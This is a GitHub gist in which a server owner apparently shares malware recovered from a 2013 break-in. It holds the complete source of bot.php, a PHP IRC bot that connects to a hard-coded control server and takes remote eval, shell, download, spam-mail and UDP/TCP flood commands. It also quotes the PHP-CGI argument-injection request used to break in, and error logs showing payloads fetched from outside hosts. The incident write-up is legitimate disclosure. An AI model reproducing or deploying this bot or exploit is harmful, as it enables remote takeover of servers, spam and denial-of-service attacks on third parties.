Skip to content

Instantly share code, notes, and snippets.

@rick

rick/bot.php

Last active December 27, 2015 07:39
Show Gist options
  • Save rick/7290618 to your computer and use it in GitHub Desktop.
Save rick/7290618 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
bot.php
<?php
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function srvshelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws)
{
$exec=$ws->exec("cmd.exe /c $command");
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command)
{
$perl=new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command)
{
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
elseif(function_exists('shell_exec'))$exec=@shell_exec($command);
elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
class pBot
{
var $config = array("server"=>"69.10.138.183", "port"=>"3303", "key"=>"*", "prefix"=>"Geox", "maxrand"=>"8", "chan"=>"#q", "trigger"=>".", "hostauth"=>"localhost");
var $users = array();
function start()
{
while(true)
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
$ident = $this->config['prefix'];
$alph = range("0","9");
for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)];
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
}
function main()
{
while(!feof($this->conn))
{
if(function_exists('stream_select'))
{
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
{
fwrite($this->conn, "PING :lelcomeatme\r\n");
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0) break;
}
}
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
if(isset($cmd[1]) && $cmd[1] =="001") { $this->join($this->config['chan'],$this->config['key']); continue; }
if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
if(count($cmd)>2)
{
switch($cmd[1])
{
case "PRIVMSG":
if($vhost == $this->config['hostauth'])
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "mail":
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: failed sending.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: sent.");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: ".$uname." (safe: ".$safemode.")");
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
ob_start();
eval(strstr($msg,$mcmd[1]));
$exec=ob_get_contents();
ob_end_clean();
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("\n", $exec);
for ($i = 0; $i < count($ret); $i++)
if ($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "cmd":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = Exe($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "ud.server":
if(count($mcmd)>2)
{
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2update\2]: info updated ".$mcmd[1].":".$mcmd[2]." pass: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config['chan'],"[\2update\2]: switched server to ".$mcmd[1].":".$mcmd[2]);
}
fclose($this->conn);
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]: could not open output file.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: could not download \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2download\2]: file \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
break;
case "udpflood":
if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); }
break;
case "tcpconn":
if(count($mcmd)>5) { $this->tcpconn($mcmd[1],$mcmd[2],$mcmd[3]); }
break;
}
}
}
break;
}
}
}
}
}
function send($msg) { fwrite($this->conn,$msg."\r\n"); }
function join($chan,$key=NULL) { $this->send("JOIN ".$chan." ".$key); }
function privmsg($to,$msg) { $this->send("PRIVMSG ".$to." :".$msg); }
function notice($to,$msg) { $this->send("NOTICE ".$to." :".$msg); }
function set_nick()
{
$fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30);
if(!$fp) $this->nick = "[UKN]";
else
{
fclose($fp);
$ctx = stream_context_create(array('http' => array('timeout' => 30)));
$buf = file_get_contents("http://freegeoip.ne/json/", 0, $ctx);
if(!strstr($buf, "country_code")) $this->nick = "[UKN]";
else
{
$code = strstr($buf, "country_code");
$code = substr($code, 12);
$code = substr($code, 3, 2);
$this->nick = "[".$code."]";
}
}
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "[WIN32]";
else $this->nick .= "[LINUX]";
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick .= "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick .= "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick .= "[X]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"nginx")) $this->nick .= "[N]";
else $this->nick .= "[U]";
}
else
{
$this->nick .= "[C]";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$port,$time,$packetsize) {
$this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
$i = 0;
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: ".$env." MB sent / Average: ".$vel." MB/s ");
}
function tcpconn($host,$port,$time)
{
$this->privmsg($this->config['chan'],"[\2TcpConn Started!\2]");
$end = time() + $time;
$i = 0;
while($end > time())
{
$fp = fsockopen($host, $port, $dummy, $dummy, 1);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: sent ".$i." connections to $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>
Raw
zzz-apache-log.txt
# Found in the apache log at the beginning of the hack:
37.187.77.137 - - [03/Nov/2013:02:04:44 -0500] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 114 "-" "-"
# which translates to:
37.187.77.137 - - [03/Nov/2013:02:04:44 -0500] "POST //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n HTTP/1.1" 200 114 "-" "-"
# So, a PHP exploit. I checked back to see which site on that machine would have PHP on it (as I thought I was clean in that regard), and it was a friend's old home page (d'oh!). I recovered from old backups, removed PHP, and shut down that site. More interesting tidbits from the error logs follow. They didn't clean up behind themselves much at all; they replaced `ps` with a trojaned binary, but didn't touch `top`, which is what I went to first.
Raw
zzz-log.txt
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: line 0: fg: no job control
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: bitsadmin: command not found
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: ik: Permission denied
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:44-- http://74.52.9.186/lol
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:44-- ftp://ftp:*password*@80.79.48.186/bot.php
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] => `bot.php'
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] Connecting to 80.79.48.186:21...
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: del: command not found
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] sh: x.exe: command not found
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:44 2013] [error] [client 37.187.77.137] Logging in as ftp ...
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] %
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] %
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] R
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] c
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] v
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] %
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] X
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] f
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] A
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] v
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] g
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] S
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] m
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] m
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] i
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] m
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] C
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] u
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] n
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] D
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] U
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] T
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] o
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] a
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] l
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] S
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] n
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] L
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] f
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] t
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] S
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] p
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] e
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] d
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
